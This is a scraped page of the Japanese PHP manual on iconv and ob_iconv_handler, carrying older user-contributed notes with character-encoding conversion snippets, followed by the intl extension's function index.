Example: <?php $content=htmlentities(file_get_contents("incoming.txt"), ENT_QUOTES, "Windows-1252");  file_put_contents("outbound.txt", html_entity_decode($content, ENT_QUOTES , "utf-8")); ?>
anton dot vakulchik at gmail dot com 02-Feb-2008 10:40
function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;
        } else {
            return cp1251_utf8($string);
        }
    }
}
echo encoding($string);
mightye at gmail dot com 05-Nov-2007 05:01
To strip bogus characters from your input (such as data from an unsanitized or other source which you can't trust to necessarily give you strings encoded according to their advertised encoding set), use the same character set as both the input and the output, with //IGNORE on the output charcter set.
<?php
// assuming '†' is actually UTF8, htmlentities will assume it's iso-8859
// since we did not specify in the 3rd argument of htmlentities.
// This generates "&acirc;[bad utf-8 character]"
// If passed to any libxml, it will generate a fatal error.
$badUTF8 = htmlentities('†');

// iconv() can ignore characters which cannot be encoded in the target character set
$goodUTF8 = iconv("utf-8", "utf-8//IGNORE", $badUTF8);
?>
The result of the example does not give you back the dagger character which was the original input (it got lost when htmlentities was misused to encode it incorrectly, though this is common from people not accustomed to dealing with extended character sets), but it does at least give you data which is sane in your target character set.
gree:.. (gree 4T grees D0T net) 24-Aug-2007 02:19
In my case, I had to change:
<?php
setlocale(LC_CTYPE, 'cs_CZ');
?>
to
<?php
setlocale(LC_CTYPE, 'cs_CZ.UTF-8');
?>
Otherwise it returns question marks.

When I asked my linux for locale (by locale command) it returns "cs_CZ.UTF-8", so there is maybe correlation between it.

iconv (GNU libc) 2.6.1
glibc 2.3.6
Ritchie 24-Mar-2007 04:11
Please note that iconv('UTF-8', 'ASCII//TRANSLIT', ...) doesn't work properly when locale category LC_CTYPE is set to C or POSIX. You must choose another locale otherwise all non-ASCII characters will be replaced with question marks. This is at least true with glibc 2.5.

Example:
<?php
setlocale(LC_CTYPE, 'POSIX');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "?lu?ou?ky k??\n");
// ?lu?ou?k? k??

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "?lu?ou?ky k??\n");
// Zlutoucky kun
?>
Locoluis 15-Nov-2006 12:36
The following are Microsoft encodings that are based on ISO-8859 but with the addition of those stupid control characters.

CP1250 is Eastern European (not ISO-8859-2)
CP1251 is Cyrillic (not ISO-8859-5)
CP1252 is Western European (not ISO-8859-1)
CP1253 is Greek (not ISO-8859-7)
CP1254 is Turkish (not ISO-8859-9)
CP1255 is Hebrew (not ISO-8859-8)
CP1256 is Arabic (not ISO-8859-6)
CP1257 is Baltic (not ISO-8859-4)

If you know you're getting input from a Windows machine with those encodings, use one of these as a parameter to iconv.
nilcolor at gmail dot coom 24-Nov-2005 03:29
Didn't know its a feature or not but its works for me (PHP 5.0.4)

iconv('', 'UTF-8', $str)

test it to convert from windows-1251 (stored in DB) to UTF-8 (which i use for web pages).
BTW i convert each array i fetch from DB with array_walk_recursive...
anyean at gmail dot com 30-May-2005 03:23
<?php
//script from http://zizi.kxup.com/
//javascript unesape
function unescape($str) {
  $str = rawurldecode($str);
  preg_match_all("/(?:%u.{4})|&#x.{4};|&#\d+;|.+/U",$str,$r);
  $ar = $r[0];
print_r($ar);
  foreach($ar as $k=>$v) {
    if(substr($v,0,2) == "%u")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
    elseif(substr($v,0,3) == "&#x")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
    elseif(substr($v,0,2) == "&#") {
echo substr($v,2,-1)."<br>";
      $ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
    }
  }
  return join("",$ar);
}
?>
zhawari at hotmail dot com 01-Feb-2005 03:27
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
       for ($i=0;$i<strlen($str);$i+=2)
       {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if (hexdec($substring1) < 127)
                        $results = "00".$str[$i].$str[$i+1];
                else
                {
                        $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                        if ($results < 1000) $results = "0".$results;
                        $i+=2;
                }
                $ucs2 .= $results;
        }
        return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025
zhawari at hotmail dot com 18-Jan-2005 03:02
Here is how to convert UCS-2 numbers to UTF-8 numbers in hex:

<?php
function ucs2toutf8($str)
{
        for ($i=0;$i<strlen($str);$i+=4)
        {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if ($substring1 == "00")
                {
                        $byte1 = "";
                        $byte2 = $substring2;
                }
                else
                {
                        $substring = $substring1.$substring2;
                        $byte1 = dechex(192+(hexdec($substring)/64));
                        $byte2 = dechex(128+(hexdec($substring)%64));
                }
                $utf8 .= $byte1.$byte2;
        }
        return $utf8;
}

echo strtoupper(ucs2toutf8("06450631062D0020"));

?>

Input:
06450631062D
Output:
D985D8B1D8AD

regards,
Ziyad
aissam at yahoo dot com 29-Nov-2004 08:20
For those who have troubles in displaying UCS-2 data on browser, here's a simple function that convert ucs2 to html unicode entities :

<?php

 function ucs2html($str) {
    $str=trim($str); // if you are reading from file
    $len=strlen($str);
    $html='';
    for($i=0;$i<$len;$i+=2)
        $html.='&#'.hexdec(dechex(ord($str[$i+1])).
                   sprintf("%02s",dechex(ord($str[$i])))).';';
    return($html);
 }
?>
nikolai-dot-zujev-at-gmail-dot-com 18-Nov-2004 01:14
Here is an example how to convert windows-1251 (windows) or cp1251(Linux/Unix) encoded string to UTF-8 encoding.

<?php
function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}
?>
vitek at 4rome dot ru 15-Nov-2004 11:53
On some systems there may be no such function as iconv(); this is due to the following reason: a constant is defined named `iconv` with the value `libiconv`. So, the string PHP_FUNCTION(iconv) transforms to PHP_FUNCTION(libiconv), and you have to call libiconv() function instead of iconv().
I had seen this on FreeBSD, but I am sure that was a rather special build.
If you'd want not to be dependent on this behaviour, add the following to your script:
<?php
if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
?>
Thanks to tony2001 at phpclub.net for explaining this behaviour.
ng4rrjanbiah at rediffmail dot com 22-Jun-2004 08:10
Here is a code to convert ISO 8859-1 to UTF-8 and vice versa without using iconv.

<?php
//Logic from http://twiki.org/cgi-bin/view/Codev/InternationalisationUTF8
$str_iso8859_1 = 'foo in ISO 8859-1';
//ISO 8859-1 to UTF-8
$str_utf8 = preg_replace("/([\x80-\xFF])/e",
            "chr(0xC0|ord('\\1')>>6).chr(0x80|ord('\\1')&0x3F)",
             $str_iso8859_1);
//UTF-8 to ISO 8859-1
$str_iso8859_1 = preg_replace("/([\xC2\xC3])([\x80-\xBF])/e",
                "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)",
                 $str_utf8);
?>

HTH,
R. Rajesh Jeba Anbiah


出力バッファハンドラとして文字エンコーディングを変換する

  • ≪ iconv
  • intl ≫
  • PHP Manual
  • iconv 関数
  • 出力バッファハンドラとして文字エンコーディングを変換する

ob_iconv_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ob_iconv_handler — 出力バッファハンドラとして文字エンコーディングを変換する

説明

ob_iconv_handler ( string $contents , int $status ) : string

internal_encoding でエンコードされた文字列を output_encodingに変換します。

internal_encoding および output_encoding は、 iconv_set_encoding() または設定ファイル php.ini で定義されている必要があります。

パラメータ

このハンドラのパラメータについての情報は ob_start() を参照ください。

返り値

このハンドラの返り値についての情報は ob_start() を参照ください。

例

例1 ob_iconv_handler() の例

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
ob_start("ob_iconv_handler"); // 出力バッファリングを開始
?>

参考

  • iconv_get_encoding() - iconv 拡張モジュールの内部設定変数を取得する
  • iconv_set_encoding() - 文字エンコーディング変換用の設定を行なう
  • 出力制御関数 (output control)

User Contributed Notes

st33mann at gmx dot n3t 04-Oct-2005 11:43
Just a quick note that may be helpful for some:
It seems to me that this function also modifies the HTTP Content-Type header that's sent to the client (at least in combination with the iconv_set_encoding() function).

If you specify an encoding ending with "//TRANSLIT" or "//IGNORE" (valid in iconv), it will still send the encoding name in the HTTP header. This makes it an invalid character set unfortunately.

For example:
<?php
iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding","ISO-8859-1//TRANSLIT");
ob_start("ob_iconv_handler");
?>
will send a Content-Type header of "ISO-8859-1//TRANSLIT".


国際化関数

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • Collator — Collator クラス
    • Collator::asort — インデックスの情報を保持しつつ配列を並べ替える
    • Collator::compare — ふたつの Unicode 文字列を比較する
    • Collator::__construct — collator を作成する
    • Collator::create — collator を作成する
    • Collator::getAttribute — 照合用の属性の値を取得する
    • Collator::getErrorCode — collator の直近のエラーコードを取得する
    • Collator::getErrorMessage — collator の直近のエラーコードのテキストを取得する
    • Collator::getLocale — collator のロケール名を取得する
    • Collator::getSortKey — 文字列のソート用のキーを取得する
    • Collator::getStrength — 現在の照合強度を取得する
    • Collator::setAttribute — 照合用の属性を設定する
    • Collator::setStrength — 照合強度を設定する
    • Collator::sortWithSortKeys — 指定した collator とキーで配列を並べ替える
    • Collator::sort — 指定した collator で配列を並べ替える
  • NumberFormatter — NumberFormatter クラス
    • NumberFormatter::create — 数値フォーマッタを作成する
    • NumberFormatter::formatCurrency — 通貨の値をフォーマットする
    • NumberFormatter::format — 数値をフォーマットする
    • NumberFormatter::getAttribute — 属性を取得する
    • NumberFormatter::getErrorCode — フォーマッタの直近のエラーコードを取得する
    • NumberFormatter::getErrorMessage — フォーマッタの直近のエラーメッセージを取得する
    • NumberFormatter::getLocale — フォーマッタのロケールを取得する
    • NumberFormatter::getPattern — フォーマッタのパターンを取得する
    • NumberFormatter::getSymbol — 記号を取得する
    • NumberFormatter::getTextAttribute — テキストの属性を取得する
    • NumberFormatter::parseCurrency — 通貨をパースする
    • NumberFormatter::parse — 数値をパースする
    • NumberFormatter::setAttribute — 属性を設定する
    • NumberFormatter::setPattern — フォーマッタのパターンを設定する
    • NumberFormatter::setSymbol — 記号の値を設定する
    • NumberFormatter::setTextAttribute — テキスト属性を設定する
  • Locale — Locale クラス
    • Locale::acceptFromHttp — 最もあてはまるロケールを HTTP "Accept-Language" ヘッダにもとづいて探す
    • Locale::canonicalize — ロケール文字列を正規化する
    • Locale::composeLocale — 正しく並べ替えて区切られたロケール ID を返す
    • Locale::filterMatches — 言語タグフィルタがロケールにマッチするかどうかを調べる
    • Locale::getAllVariants — 入力ロケールの変化系を取得する
    • Locale::getDefault — INTL のグローバル 'default_locale' からデフォルトのロケールを取得する
    • Locale::getDisplayLanguage — 入力ロケールの言語の表示名を、適切に地域化して返す
    • Locale::getDisplayName — 入力ロケールの表示名を、適切に地域化して返す
    • Locale::getDisplayRegion — 入力ロケールの地域の表示名を、適切に地域化して返す
    • Locale::getDisplayScript — 入力ロケールの文字の表示名を、適切に地域化して返す
    • Locale::getDisplayVariant — 入力ロケールの変化形の表示名を、適切に地域化して返す
    • Locale::getKeywords — 入力ロケールのキーワードを取得する
    • Locale::getPrimaryLanguage — 入力ロケールのプライマリ言語を取得する
    • Locale::getRegion — 入力ロケールの地域を取得する
    • Locale::getScript — 入力ロケールの文字を取得する
    • Locale::lookup — その言語にマッチする言語タグの一覧を検索する
    • Locale::parseLocale — ロケール ID のサブタグ要素を連想配列で返す
    • Locale::setDefault — デフォルトの実行時ロケールを設定する
  • Normalizer — Normalizer クラス
    • Normalizer::getRawDecomposition — Gets the Decomposition_Mapping property for the given UTF-8 encoded code point
    • Normalizer::isNormalized — 渡された文字列が、指定した正規化を適用済みかどうかを調べる
    • Normalizer::normalize — 渡された入力を正規化し、正規化後の文字列を返す
  • MessageFormatter — MessageFormatter クラス
    • MessageFormatter::create — 新しいメッセージフォーマッタを作成する
    • MessageFormatter::formatMessage — 手早くメッセージをフォーマットする
    • MessageFormatter::format — メッセージをフォーマットする
    • MessageFormatter::getErrorCode — 直近の操作のエラーコードを取得する
    • MessageFormatter::getErrorMessage — 直近の操作のエラーテキストを取得する
    • MessageFormatter::getLocale — フォーマッタを作成した際のロケールを取得する
    • MessageFormatter::getPattern — フォーマッタが使用するパターンを取得する
    • MessageFormatter::parseMessage — 手早く入力文字列をパースする
    • MessageFormatter::parse — パターンを使用して入力文字列をパースする
    • MessageFormatter::setPattern — フォーマッタが使用するパターンを設定する
  • IntlCalendar — IntlCalendar クラス
    • IntlCalendar::add — Add a (signed) amount of time to a field
    • IntlCalendar::after — Whether this object?s time is after that of the passed object
    • IntlCalendar::before — Whether this object?s time is before that of the passed object
    • IntlCalendar::clear — Clear a field or all fields
    • IntlCalendar::__construct — Private constructor for disallowing instantiation
    • IntlCalendar::createInstance — Create a new IntlCalendar
    • IntlCalendar::equals — Compare time of two IntlCalendar objects for equality
    • IntlCalendar::fieldDifference — Calculate difference between given time and this object?s time
    • IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string
    • IntlCalendar::get — Get the value for a field
    • IntlCalendar::getActualMaximum — The maximum value for a field, considering the object?s current time
    • IntlCalendar::getActualMinimum — The minimum value for a field, considering the object?s current time
    • IntlCalendar::getAvailableLocales — Get array of locales for which there is data
    • IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two
    • IntlCalendar::getErrorCode — Get last error code on the object
    • IntlCalendar::getErrorMessage — Get last error message on the object
    • IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendar?s locale
    • IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field
    • IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values
    • IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field
    • IntlCalendar::getLocale — Get the locale associated with the object
    • IntlCalendar::getMaximum — Get the global maximum value for a field
    • IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have
    • IntlCalendar::getMinimum — Get the global minimum value for a field
    • IntlCalendar::getNow — Get number representing the current time
    • IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time
    • IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time
    • IntlCalendar::getTime — Get time currently represented by the object
    • IntlCalendar::getTimeZone — Get the object?s timezone
    • IntlCalendar::getType — Get the calendar type
    • IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends
    • IntlCalendar::inDaylightTime — Whether the object?s time is in Daylight Savings Time
    • IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time
    • IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode
    • IntlCalendar::isSet — Whether a field is set
    • IntlCalendar::isWeekend — Whether a certain date/time is in the weekend
    • IntlCalendar::roll — Add value to field without carrying into more significant fields
    • IntlCalendar::set — Set a time field or several common fields at once
    • IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start
    • IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient
    • IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have
    • IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions
    • IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions
    • IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch
    • IntlCalendar::setTimeZone — Set the timezone used by this calendar
    • IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object
  • IntlGregorianCalendar — The IntlGregorianCalendar class
    • IntlGregorianCalendar::__construct — Create the Gregorian Calendar class
    • IntlGregorianCalendar::getGregorianChange — Get the Gregorian Calendar change date
    • IntlGregorianCalendar::isLeapYear — Determine if the given year is a leap year
    • IntlGregorianCalendar::setGregorianChange — Set the Gregorian Calendar the change date
  • IntlTimeZone — IntlTimeZone クラス
    • IntlTimeZone::countEquivalentIDs — 指定した ID を含む等価グループの中にある ID の数を取得する
    • IntlTimeZone::createDefault — このホストのデフォルトタイムゾーンの新しいコピーを作る
    • IntlTimeZone::createEnumeration — 指定した国あるいはオフセットに関連するタイムゾーン ID の一覧を取得する
    • IntlTimeZone::createTimeZone — 指定した ID のタイムゾーンオブジェクトを作る
    • IntlTimeZone::createTimeZoneIDEnumeration — Get an enumeration over system time zone IDs with the given filter conditions
    • IntlTimeZone::fromDateTimeZone — DateTimeZone からタイムゾーンオブジェクトを作る
    • IntlTimeZone::getCanonicalID — 指定したタイムゾーン ID の、正式なシステムタイムゾーン ID あるいは正規化したカスタムタイムゾーン ID を取得する
    • IntlTimeZone::getDisplayName — このタイムゾーンの、ユーザー向けに表示する名前を取得する
    • IntlTimeZone::getDSTSavings — ローカルの標準時刻からローカルの実測時刻を得るために加算する時間を取得する
    • IntlTimeZone::getEquivalentID — 指定した ID を含む等価グループの ID を取得する
    • IntlTimeZone::getErrorCode — 直近のエラーコードを取得する
    • IntlTimeZone::getErrorMessage — 直近のエラーメッセージを取得する
    • IntlTimeZone::getGMT — GMT (UTC) タイムゾーンを作る
    • IntlTimeZone::getID — タイムゾーン ID を取得する
    • IntlTimeZone::getIDForWindowsID — Translate a Windows timezone into a system timezone
    • IntlTimeZone::getOffset — 指定した時刻の、GMT へのオフセットを取得する
    • IntlTimeZone::getRawOffset — (夏時間を考慮せずに) GMT へのオフセットを取得する
    • IntlTimeZone::getRegion — Get the region code associated with the given system time zone ID
    • IntlTimeZone::getTZDataVersion — ICU が使っているタイムゾーンデータのバージョンを取得する
    • IntlTimeZone::getUnknown — Get the "unknown" time zone
    • IntlTimeZone::getWindowsID — Translate a system timezone into a Windows timezone
    • IntlTimeZone::hasSameRules — このタイムゾーンが別のタイムゾーンと同じルールおよびオフセットを使っているかどうかを調べる
    • IntlTimeZone::toDateTimeZone — DateTimeZone オブジェクトに変換する
    • IntlTimeZone::useDaylightTime — このタイムゾーンが夏時間を採用しているかどうかを調べる
  • IntlDateFormatter — IntlDateFormatter クラス
    • IntlDateFormatter::create — Date Formatter を作成する
    • IntlDateFormatter::format — 日付/時刻 の値を文字列としてフォーマットする
    • IntlDateFormatter::formatObject — オブジェクトの書式を設定する
    • IntlDateFormatter::getCalendar — IntlDateFormatter が使用するカレンダー型を取得する
    • IntlDateFormatter::getDateType — IntlDateFormatter が使用する日付形式を取得する
    • IntlDateFormatter::getErrorCode — 直近の操作のエラーコードを取得する
    • IntlDateFormatter::getErrorMessage — 直近の操作のエラーテキストを取得する
    • IntlDateFormatter::getLocale — Formatter が使用するロケールを取得する
    • IntlDateFormatter::getPattern — IntlDateFormatter が使用するパターンを取得する
    • IntlDateFormatter::getTimeType — IntlDateFormatter が使用する時刻形式を取得する
    • IntlDateFormatter::getTimeZoneId — IntlDateFormatter が使用するタイムゾーン ID を取得する
    • IntlDateFormatter::getCalendarObject — カレンダーオブジェクトのコピーを取得する
    • IntlDateFormatter::getTimeZone — タイムゾーンを取得する
    • IntlDateFormatter::isLenient — IntlDateFormatter で使用する寛大さを取得する
    • IntlDateFormatter::localtime — 文字列をパースして、フィールドベースの時刻値にする
    • IntlDateFormatter::parse — 文字列をパースしてタイムスタンプにする
    • IntlDateFormatter::setCalendar — Formatter が使うカレンダー型を設定する
    • IntlDateFormatter::setLenient — パーサの寛大さを設定する
    • IntlDateFormatter::setPattern — IntlDateFormatter が使用するパターンを設定する
    • IntlDateFormatter::setTimeZone — タイムゾーンを設定する
  • ResourceBundle — ResourceBundle クラス
    • ResourceBundle::count — バンドル内の要素数を取得する
    • ResourceBundle::create — リソースバンドルを作成する
    • ResourceBundle::getErrorCode — バンドルの直近のエラーコードを取得する
    • ResourceBundle::getErrorMessage — バンドルの直近のエラーメッセージを取得する
    • ResourceBundle::get — バンドルからデータを取得する
    • ResourceBundle::getLocales — サポートするロケールを取得する
  • Spoofchecker — The Spoofchecker class
    • Spoofchecker::areConfusable — Checks if given strings can be confused
    • Spoofchecker::__construct — Constructor
    • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
    • Spoofchecker::setAllowedLocales — チェック時に使うロケールを設定する
    • Spoofchecker::setChecks — 実行するチェックを設定する
  • Transliterator — Transliterator クラス
    • Transliterator::__construct — インスタンス化を拒否するために private にしたコンストラクタ
    • Transliterator::create — Transliterator を作成する
    • Transliterator::createFromRules — 規則に基づいた Transliterator を作成する
    • Transliterator::createInverse — 逆方向の Transliterator を作成する
    • Transliterator::getErrorCode — 直近のエラーコードを取得する
    • Transliterator::getErrorMessage — 直近のエラーメッセージを取得する
    • Transliterator::listIDs — Transliterator の ID を取得する
    • Transliterator::transliterate — 文字列を音訳する
  • IntlBreakIterator — The IntlBreakIterator class
    • IntlBreakIterator::__construct — インスタンス化を禁止するためのprivateなコンストラクタ
    • IntlBreakIterator::createCharacterInstance — 文字シーケンスの組み合わせの境界用にイテレータを作る
    • IntlBreakIterator::createCodePointInstance — コードポイントの境界用にイテレータを作る
    • IntlBreakIterator::createLineInstance — 論理的に可能な改行用にイテレータを作る
    • IntlBreakIterator::createSentenceInstance — 文末用にイテレータを作る
    • IntlBreakIterator::createTitleInstance — タイトル文字の区切り用にイテレータを作る
    • IntlBreakIterator::createWordInstance — 単語の区切り用にイテレータを作る
    • IntlBreakIterator::current — 現在位置のインデックスを取得する
    • IntlBreakIterator::first — テキスト内の最初の文字を場所を取得する
    • IntlBreakIterator::following — 指定したオフセット以降の最初の境界までイテレータを進める
    • IntlBreakIterator::getErrorCode — このオブジェクトの直近のエラーコードを取得する
    • IntlBreakIterator::getErrorMessage — このオブジェクトの直近のエラーメッセージを取得する
    • IntlBreakIterator::getLocale — このオブジェクトに関連づけられたロケールを取得する
    • IntlBreakIterator::getPartsIterator — 境界と境界の間の navigating fragments 用にイテレータを作る
    • IntlBreakIterator::getText — スキャンするテキストを取得する
    • IntlBreakIterator::isBoundary — あるオフセットが境界のオフセットかどうかを調べる
    • IntlBreakIterator::last — イテレータの位置を、最後の文字より後に設定する
    • IntlBreakIterator::next — イテレータを次の境界まで進める
    • IntlBreakIterator::preceding — イテレータの位置を、指定したオフセット以前の最初の境界に設定する
    • IntlBreakIterator::previous — イテレータの位置を、現在位置の直前の境界に設定する
    • IntlBreakIterator::setText — スキャンするテキストを設定する
  • IntlRuleBasedBreakIterator — The IntlRuleBasedBreakIterator class
    • IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset
    • IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules
    • IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object
    • IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position
    • IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position
  • IntlCodePointBreakIterator — The IntlCodePointBreakIterator class
    • IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator
  • IntlPartsIterator — The IntlPartsIterator class
    • IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator
  • UConverter — UConverter クラス
    • UConverter::__construct — UConverter オブジェクトを作る
    • UConverter::convert — ある文字セットから別の文字セットに文字列を変換する
    • UConverter::fromUCallback — デフォルトの "from" コールバック関数
    • UConverter::getAliases — 指定した名前のエイリアスを取得する
    • UConverter::getAvailable — 利用可能なコンバーター名を取得する
    • UConverter::getDestinationEncoding — 変換先エンコーディングを取得する
    • UConverter::getDestinationType — 変換先のコンバーターの型を取得する
    • UConverter::getErrorCode — 直近のエラーコードを取得する
    • UConverter::getErrorMessage — 直近のエラーメッセージを取得する
    • UConverter::getSourceEncoding — 変換元エンコーディングを取得する
    • UConverter::getSourceType — 変換元のコンバーターの型を取得する
    • UConverter::getStandards — コンバーター名に対応する標準を取得する
    • UConverter::getSubstChars — 置換文字を取得する
    • UConverter::reasonText — コールバックの理由を表す文字列を取得する
    • UConverter::setDestinationEncoding — 変換先エンコーディングを設定する
    • UConverter::setSourceEncoding — 変換元エンコーディングを設定する
    • UConverter::setSubstChars — 置換文字を設定する
    • UConverter::toUCallback — デフォルトの "to" コールバック関数
    • UConverter::transcode — ある文字セットから別の文字セットに文字列を変換する
  • Grapheme 関数
    • grapheme_extract — デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数。 テキストは UTF-8 でエンコードされている必要があります
    • grapheme_stripos — 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
    • grapheme_stristr — 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
    • grapheme_strlen — 書記素単位で文字列の長さを取得する
    • grapheme_strpos — 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
    • grapheme_strripos — 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
    • grapheme_strrpos — 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
    • grapheme_strstr — haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
    • grapheme_substr — 部分文字列を返す
  • IDN 関数
    • idn_to_ascii — ドメイン名をIDNAのASCII形式に変換する
    • idn_to_utf8 — IDNAのASCII方式でエンコードされたドメイン名をUnicodeに変換する
  • IntlChar
    • IntlChar::charAge — Get the "age" of the code point
    • IntlChar::charDigitValue — Get the decimal digit value of a decimal digit character
    • IntlChar::charDirection — Get bidirectional category value for a code point
    • IntlChar::charFromName — Find Unicode character by name and return its code point value
    • IntlChar::charMirror — Get the "mirror-image" character for a code point
    • IntlChar::charName — Retrieve the name of a Unicode character
    • IntlChar::charType — Get the general category value for a code point
    • IntlChar::chr — Return Unicode character by code point value
    • IntlChar::digit — Get the decimal digit value of a code point for a given radix
    • IntlChar::enumCharNames — Enumerate all assigned Unicode characters within a range
    • IntlChar::enumCharTypes — Enumerate all code points with their Unicode general categories
    • IntlChar::foldCase — Perform case folding on a code point
    • IntlChar::forDigit — Get character representation for a given digit and radix
    • IntlChar::getBidiPairedBracket — Get the paired bracket character for a code point
    • IntlChar::getBlockCode — Get the Unicode allocation block containing a code point
    • IntlChar::getCombiningClass — Get the combining class of a code point
    • IntlChar::getFC_NFKC_Closure — Get the FC_NFKC_Closure property for a code point
    • IntlChar::getIntPropertyMaxValue — Get the max value for a Unicode property
    • IntlChar::getIntPropertyMinValue — Get the min value for a Unicode property
    • IntlChar::getIntPropertyValue — Get the value for a Unicode property for a code point
    • IntlChar::getNumericValue — Get the numeric value for a Unicode code point
    • IntlChar::getPropertyEnum — Get the property constant value for a given property name
    • IntlChar::getPropertyName — Get the Unicode name for a property
    • IntlChar::getPropertyValueEnum — Get the property value for a given value name
    • IntlChar::getPropertyValueName — Get the Unicode name for a property value
    • IntlChar::getUnicodeVersion — Get the Unicode version
    • IntlChar::hasBinaryProperty — Check a binary Unicode property for a code point
    • IntlChar::isalnum — Check if code point is an alphanumeric character
    • IntlChar::isalpha — Check if code point is a letter character
    • IntlChar::isbase — Check if code point is a base character
    • IntlChar::isblank — Check if code point is a "blank" or "horizontal space" character
    • IntlChar::iscntrl — Check if code point is a control character
    • IntlChar::isdefined — Check whether the code point is defined
    • IntlChar::isdigit — Check if code point is a digit character
    • IntlChar::isgraph — Check if code point is a graphic character
    • IntlChar::isIDIgnorable — Check if code point is an ignorable character
    • IntlChar::isIDPart — Check if code point is permissible in an identifier
    • IntlChar::isIDStart — Check if code point is permissible as the first character in an identifier
    • IntlChar::isISOControl — Check if code point is an ISO control code
    • IntlChar::isJavaIDPart — Check if code point is permissible in a Java identifier
    • IntlChar::isJavaIDStart — Check if code point is permissible as the first character in a Java identifier
    • IntlChar::isJavaSpaceChar — Check if code point is a space character according to Java
    • IntlChar::islower — Check if code point is a lowercase letter
    • IntlChar::isMirrored — Check if code point has the Bidi_Mirrored property
